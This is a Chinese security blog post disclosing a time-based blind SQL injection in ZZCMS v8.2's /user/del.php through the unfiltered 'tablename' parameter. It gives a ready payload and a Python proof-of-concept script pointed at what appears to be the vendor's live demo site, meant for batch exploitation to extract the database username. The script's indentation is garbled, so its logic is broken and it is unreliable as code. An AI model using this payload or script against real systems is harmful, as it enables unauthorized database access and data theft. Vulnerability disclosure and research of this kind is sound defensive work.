ZZCMS v8.2 最新版SQL注入漏洞 - 颓废's Blog

ZZCMS v8.2 最新版SQL注入漏洞

  • 内容
  • 相关
/user/del.php 存在SQL注入漏洞。

代码位置: /user/del.php 12行,获取参数。

1.png

由于存在checkid() 导致 $id无法进行注入,checkid() 代码如图。

代码位置:/inc/function.php  49行
2.png

switch() 分支中不存在SQL注入就不展示代码了。在后面代码中 135行 发现存在SQL注入问题。

$tablename 可控,可以进行SQL注入。由于$tablename 所在位置无需闭合引号和CMS过滤大于号和小于号(转换为实体),拼接为 select id,editor, from zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)#where id in 1; 拼接成如此的SQL语句可以完成注入。

漏洞利用 

payload:id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1)) =121),sleep(5),1)%23

测试结果如图。
4.png


用python完成POC进行批量漏洞利用,猜测用户名的第一个字符。

5.png

6.png


poc


#!/usr/bin/env python
# -*- coding: utf-8 -*-
import requests
import time

payloads = 'abcdefghigklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789@_.'    #匹配用的字符串
url = "http://demo.zzcms.net/user/del.php"
user = ''
for i in range(1, 2):
        for payload in payloads:    #遍历取出字符
                startTime = time.time()
                post_data = "id=1&tablename=zzcms_answer where id = 1 and if((ascii(substr(user(),1,1))=" + str(ord(payload)) + "),sleep(5),1)%23".encode("utf-8")
                response = requests.post(url, timeout=6, data=post_data, headers={"Content-Type": "application/x-www-form-urlencoded"}  )
if time.time() - startTime > 5:
                        user = payload
print 'user is:', user
break
print '\n[Done] current user is %s' % user


本文标签:

版权声明:若无特殊注明,本文皆为《颓废》原创,转载请保留文章出处。

收录状态:[百度已收录] | [360已收录] | [搜狗已收录]

本文链接:ZZCMS v8.2 最新版SQL注入漏洞 - https://www.0dayhack.com/post-787.html

严重声明:本站内容来自于互联网,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规,黑客不是骇客,黑客维护网络安全

发表评论

电子邮件地址不会被公开。 必填项已用*标注